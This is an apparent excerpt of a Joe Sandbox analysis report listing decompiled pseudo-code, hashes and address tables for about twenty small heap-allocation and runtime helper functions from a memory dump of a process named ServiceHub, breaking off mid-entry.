                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c7610c81f5bb46eed8b19a678d3f55e9a4221df2afec0446fe557fc86c1fa029
                                          • Instruction ID: eccb09ddfa7b0885a0faa9bf153645c997ccfef491bfb110df7dc8c061e25bc9
                                          • Opcode Fuzzy Hash: c7610c81f5bb46eed8b19a678d3f55e9a4221df2afec0446fe557fc86c1fa029
                                          • Instruction Fuzzy Hash: 3DF05EB0A14659ABDB14EBA8D90AA7E77A4AF14604F440459BA05DB280EB74D900CB98
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011C746D Relevance: .0, Instructions: 31COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 88%
                                          			E011C746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E011BEB70(__ecx, 0x12979a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E011E95D0();
							L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}









                                          0x011c746d
                                          0x011c746d
                                          0x011c746d
                                          0x011c7471
                                          0x011c7488
                                          0x0120f92d
                                          0x011c748e
                                          0x011c7491
                                          0x011c7495
                                          0x0120f937
                                          0x0120f93a
                                          0x0120f94e
                                          0x0120f953
                                          0x0120f956
                                          0x0120f956
                                          0x011c7495
                                          0x00000000
                                          0x011c7488
                                          0x011c7473
                                          0x011c7478
                                          0x011c747d
                                          0x011c7481
                                          0x00000000
                                          0x011c7481
                                          0x011c747d
                                          0x011c747a
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 93d1e5a4c81c3b74aa2d366fbdb633b0e0c41f2a89ec3b09cf56c301d8351268
                                          • Instruction ID: 057aba9ff629f3f5f07e9da920e9b5e5ad88a1b1cffbe2c5240006c43a2c84f3
                                          • Opcode Fuzzy Hash: 93d1e5a4c81c3b74aa2d366fbdb633b0e0c41f2a89ec3b09cf56c301d8351268
                                          • Instruction Fuzzy Hash: 7BF0E934550249ABDF1E976CC540B79FFB2BF24A14F05021DD551A71D1E7E49801CF86
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 01278CD6 Relevance: .0, Instructions: 31COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 36%
                                          			E01278CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x129d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E011C7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E011EB640(E011E9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}













                                          0x01278ce5
                                          0x01278ced
                                          0x01278cf0
                                          0x01278cfb
                                          0x01278d0d
                                          0x01278cfd
                                          0x01278d06
                                          0x01278d06
                                          0x01278d18
                                          0x01278d19
                                          0x01278d1b
                                          0x01278d20
                                          0x01278d33

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 1f49a044fac5ab93679a83caf2b283ec24da984fc4d097f102c80de4b1bdfac1
                                          • Instruction ID: a3b0089b4dddaed29f7445e351d1feec51f28d67262e24751c3e2c907274e223
                                          • Opcode Fuzzy Hash: 1f49a044fac5ab93679a83caf2b283ec24da984fc4d097f102c80de4b1bdfac1
                                          • Instruction Fuzzy Hash: 8AF08270A1460DABDB04DBF8E94AE6E77B4EF58204F500199F916EB2C0EA34D900CB58
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011A4F2E Relevance: .0, Instructions: 31COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011A4F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E012788F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E011CC5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x1181030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}









                                          0x011a4f2e
                                          0x011a4f34
                                          0x011a4f38
                                          0x01200b85
                                          0x01200b85
                                          0x01200b89
                                          0x01200b9a
                                          0x01200b9a
                                          0x01200b9f
                                          0x00000000
                                          0x01200b9f
                                          0x01200b94
                                          0x01200b98
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01200b98
                                          0x011a4f3e
                                          0x011a4f48
                                          0x00000000
                                          0x011a4f6e
                                          0x00000000
                                          0x011a4f70

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: da259ca658385a315818d8502c89380b1de673492817550e723802c557ae6753
                                          • Instruction ID: e812e405572d8a7b013a0f1e99fdcc9730cd6a6a07a2244e0949236ff5490a4d
                                          • Opcode Fuzzy Hash: da259ca658385a315818d8502c89380b1de673492817550e723802c557ae6753
                                          • Instruction Fuzzy Hash: BDF0BE32931E869FE773DB1CC244B22BBD8AB006B8F455664E605879A3E724EC40C789
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DA44B Relevance: .0, Instructions: 29COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011DA44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x1297b9c; // 0x0
				_t15 = __ecx;
				_t16 = L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E011EFA60(_t17, 0, _t15 << 2);
				return _t17;
			}







                                          0x011da44b
                                          0x011da453
                                          0x011da472
                                          0x011da476
                                          0x00000000
                                          0x011da493
                                          0x011da47a
                                          0x011da47f
                                          0x011da486
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ab362b73415dee8e9fcebb597ff61f0498b2e270d8d57765284c4717da2b9cd8
                                          • Instruction ID: b6d1ea4fc963a5deb3ffa47c87073d03b5baeaec6d4191729ceb1b76625cc6e6
                                          • Opcode Fuzzy Hash: ab362b73415dee8e9fcebb597ff61f0498b2e270d8d57765284c4717da2b9cd8
                                          • Instruction Fuzzy Hash: 3FE09272A01422ABD2259A58FC00F6673ADDFE4A55F0A4039EA04C7214D728DD02C7E0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AF358 Relevance: .0, Instructions: 28COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 79%
                                          			E011AF358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E011DF3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L011C4620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}






                                          0x011af35d
                                          0x011af361
                                          0x011af367
                                          0x011af372
                                          0x011af38c
                                          0x011af38c
                                          0x011af394

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
                                          • Instruction ID: 3eafddc20484e2a1ededfafb7c4468243945439377c569c661ff36db1a2fa1b8
                                          • Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
                                          • Instruction Fuzzy Hash: 7EE0D832A44119FBDB3596DD9D05F9ABFBCDF54A60F010195BA04D7150D6609E01C2D0
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011BFF60 Relevance: .0, Instructions: 22COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011BFF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x11811a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E012788F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E011C0050(_t14);
				}
			}










                                          0x011bff66
                                          0x011bff6b
                                          0x00000000
                                          0x011bff8f
                                          0x00000000
                                          0x011bff8f

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6321f3656136f6ca4ee836de21032b6f147a503081f74da0c4270edfd8bc2565
                                          • Instruction ID: 2fb0b40694b8515c60c79337c9cc40859f0a8c13f512739d227be2a2c5c5fcff
                                          • Opcode Fuzzy Hash: 6321f3656136f6ca4ee836de21032b6f147a503081f74da0c4270edfd8bc2565
                                          • Instruction Fuzzy Hash: 76E0DFB3605206DFD73DDB69D9C0FA53B98DB52721F1AC01DE0084B102C722D882C68B
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 012341E8 Relevance: .0, Instructions: 21COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 82%
                                          			E012341E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x12808f0);
				_t5 = E011FD08C(__ebx, __edi, __esi);
				if( *0x12987ec == 0) {
					E011BEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x12987ec == 0) {
						 *0x12987f0 = 0x12987ec;
						 *0x12987ec = 0x12987ec;
						 *0x12987e8 = 0x12987e4;
						 *0x12987e4 = 0x12987e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L01234248();
				}
				return E011FD0D1(_t5);
			}





                                          0x012341e8
                                          0x012341ea
                                          0x012341ef
                                          0x012341fb
                                          0x01234206
                                          0x0123420b
                                          0x01234216
                                          0x0123421d
                                          0x01234222
                                          0x0123422c
                                          0x01234231
                                          0x01234231
                                          0x01234236
                                          0x0123423d
                                          0x0123423d
                                          0x01234247

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 68984c267c9b13168bd661cf53a96ac20d3d0bc83db2d4283e67f05e0298bd0d
                                          • Instruction ID: 849e3456c7ec52bba3864816157db6c2e61e0ade960c6530597dd621b7b18150
                                          • Opcode Fuzzy Hash: 68984c267c9b13168bd661cf53a96ac20d3d0bc83db2d4283e67f05e0298bd0d
                                          • Instruction Fuzzy Hash: 6AF01C7E521749DECBB8EFADB50879C36A4F796314F44415991049B2AAC7344494CF01
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0125D380 Relevance: .0, Instructions: 21COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E0125D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L011AE8B0(__ecx, _a4, 0xfff);
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}




                                          0x0125d38a
                                          0x0125d39b
                                          0x0125d3b1
                                          0x00000000
                                          0x0125d3b6
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
                                          • Instruction ID: b522175fdcb94fb541c390657af1e89588fd960f560f3596f6b574a6a2e5d6aa
                                          • Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
                                          • Instruction Fuzzy Hash: 95E0C231281609BBEB226F84CC00F697B16DB60BA4F104031FE085A691C6B19C91DAC4
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DA185 Relevance: .0, Instructions: 20COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011DA185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x12967e4 >= 0xa) {
					if(_t5 < 0x1296800 || _t5 >= 0x1296900) {
						return L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E011C0010(0x12967e0, _t5);
				}
			}





                                          0x011da190
                                          0x011da1a6
                                          0x011da1c2
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011da192
                                          0x011da192
                                          0x011da19f
                                          0x011da19f

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f4c0ecb9e26609f23efeb47da638be9e5d5c4d262db713c284af6f4656945a48
                                          • Instruction ID: 89153e569add76df93d71b54858fbafcf6a1bcca3c6211d51c04a3017a9c9be8
                                          • Opcode Fuzzy Hash: f4c0ecb9e26609f23efeb47da638be9e5d5c4d262db713c284af6f4656945a48
                                          • Instruction Fuzzy Hash: F9D05B7117100156DB2E9768A978B693692FB95BD4F34440DF2074F5A4EB5088D59109
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D16E0 Relevance: .0, Instructions: 17COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011D16E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E011D1710(0x12967e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L011C4620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}





                                          0x011d16e8
                                          0x011d16ef
                                          0x011d16f3
                                          0x011d16fe
                                          0x00000000
                                          0x011d1700
                                          0x011d170d
                                          0x011d170d
                                          0x011d16f2
                                          0x011d16f2
                                          0x011d16f2
                                          0x011d16f2

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0c528853af13f78368ff8cb2db9cc0d9a92676867e840904b3b2e491281f328a
                                          • Instruction ID: 1cb7c1e5105e0f9408e577b88b4206c461cb8099021aaf36c8751176a9be9f3b
                                          • Opcode Fuzzy Hash: 0c528853af13f78368ff8cb2db9cc0d9a92676867e840904b3b2e491281f328a
                                          • Instruction Fuzzy Hash: BED0A772100101B2EE2D5B189814B142662EB90B85F38005CF207498D0CFE0CC92E048
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 012253CA Relevance: .0, Instructions: 16COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E012253CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E011BEB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}








                                          0x012253ca
                                          0x012253ce
                                          0x012253d9
                                          0x012253de
                                          0x012253e1
                                          0x012253e1
                                          0x012253e6
                                          0x012253f3
                                          0x00000000
                                          0x012253f8
                                          0x012253fb

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
                                          • Instruction ID: ea3e950de71f8c0cdc75a5657feea854ef92e8c49d1724d687d73993bc9a7332
                                          • Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
                                          • Instruction Fuzzy Hash: 02E08C31950785ABCF16DB48C694F8EBBF5FB44B00F180008E1085B660C764AC00CB00
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011BAAB0 Relevance: .0, Instructions: 12COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011BAAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}




                                          0x011baab6
                                          0x011baabb
                                          0x0120a442
                                          0x00000000
                                          0x0120a448
                                          0x0120a454
                                          0x0120a454
                                          0x011baac1
                                          0x011baac1
                                          0x011baac6
                                          0x011baac6

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
                                          • Instruction ID: 27a2989fcdfae9db80efa86f5473b6b050ddab7128528dbd42e807d3b1336353
                                          • Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
                                          • Instruction Fuzzy Hash: 8BD0E939352A81CFD71BCB1DD994B5577A4FB44B44FC50590E501CB762E72CD944CA10
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D35A1 Relevance: .0, Instructions: 12COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011D35A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E011BEB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}






                                          0x011d35a1
                                          0x011d35a1
                                          0x011d35a5
                                          0x011d35ab
                                          0x011d35ab
                                          0x011d35b5
                                          0x00000000
                                          0x011d35c1
                                          0x011d35b7

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
                                          • Instruction ID: 9dadeafe49d9c77d7ef773a33153189a66af7b916364ec339c682a8cdd392525
                                          • Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
                                          • Instruction Fuzzy Hash: 89D0A9B14621829AEB0EAF14C2187A83BB2BB00208FD820A5C01606852C33A4A0ACE03
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011ADB40 Relevance: .0, Instructions: 11COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011ADB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L011C4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}





                                          0x011adb4d
                                          0x011adb54
                                          0x011adb5f
                                          0x011adb56
                                          0x011adb56
                                          0x011adb5c
                                          0x011adb5c

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
                                          • Instruction ID: c33b45a5e8cf9165011f1f82a4f4f90349cf6b1371f786fa8a8756bda86ca382
                                          • Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
                                          • Instruction Fuzzy Hash: 6AC08C30280A01AAEB3A1F20CD01B003AA0BB21F05F8400A06301DA8F0DB78D801E600
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0122A537 Relevance: .0, Instructions: 11COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E0122A537(intOrPtr _a4, intOrPtr _a8) {

				return L011C8E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}



                                          0x0122a553

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
                                          • Instruction ID: a8b712c45ee43ce273c787826d4708c5794d90fe5b79cff99946d37b30b369a4
                                          • Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
                                          • Instruction Fuzzy Hash: 3CC08C33080248BBCB126FC1CC00F467F2AFBA4B60F008014FA080B571C632E970EB84
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011C3A1C Relevance: .0, Instructions: 10COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011C3A1C(intOrPtr _a4) {
				void* _t5;

				return L011C4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}




                                          0x011c3a35

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
                                          • Instruction ID: 7abc5adffb62ee1e0b619fba6941a7c6bf8f3f5fc3e27d4f01c69e9ab7dcfa70
                                          • Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
                                          • Instruction Fuzzy Hash: 90C08C32080248BBC7226E41DC00F017B29E7A0B60F000020B6040A9608632EC60D588
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011AAD30 Relevance: .0, Instructions: 10COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011AAD30(intOrPtr _a4) {

				return L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}



                                          0x011aad49

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
                                          • Instruction ID: bcf98e8b8b19539af74dd71385332c12c89320c0e53a844ad03e51f64979db9f
                                          • Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
                                          • Instruction Fuzzy Hash: 39C08C32080648BBC7126A45CD04F057B29E7A0B60F000020F6040A6A18A72E860D988
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011D36CC Relevance: .0, Instructions: 10COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 100%
                                          			E011D36CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L011C4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}



                                          0x011d36d2
                                          0x011d36e8
                                          0x011d36d4
                                          0x011d36e5
                                          0x011d36e5

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
